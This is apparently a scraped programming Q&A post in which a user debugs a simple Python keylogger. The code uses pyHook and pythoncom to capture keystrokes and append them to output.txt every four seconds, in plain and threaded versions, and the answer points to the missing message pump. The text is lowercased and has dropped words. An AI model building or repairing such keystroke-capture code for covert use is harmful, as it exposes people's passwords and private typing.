python - Writing to a file at specific time intervals in different threads for a simple keylogger -

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import pythoncom , pyhook, time  temp_keylogs = '' def onkeyboardevent(event):     global temp_keylogs     key = chr(event.ascii)     temp_keylogs += key  hm = pyhook.hookmanager() hm.keydown = onkeyboardevent hm.hookkeyboard() pythoncom.pumpmessages()  while true:     f = open('output.txt', 'a')     f.write(temp_keylogs)     temp_keylogs = ''     f.close()     time.sleep(4)

i not understand why code not writing of keystrokes performed after 4 seconds file called 'output.txt'. no errors thrown, compiling ok believe, not writing file.

edit: added pythoncom.pumpmessages() suggested, gives 2 while loops; so, need threading this?

i tried threaded version out here:

import pythoncom , pyhook, time, thread  temp_keylogs = '' def onkeyboardevent(event):     global temp_keylogs     key = chr(event.ascii)     temp_keylogs += key  def file_write(temp_keylogs):     while true:         print 'yes'         f = open('output.txt', 'a')         f.write(temp_keylogs)         f.close()         temp_keylogs = ''         time.sleep(4)  hm = pyhook.hookmanager() hm.keydown = onkeyboardevent hm.hookkeyboard() try:     thread.start_new_thread( file_write, (temp_keylogs,) )     thread.start_new_thread( pythoncom.pumpmessages() ) except:     print 'thread not started'

but still not writing file. so, i'm still unsure of wrong.

you're missing pump messages

pythoncom.pumpmessages()

you don't have access keys without it. see docs


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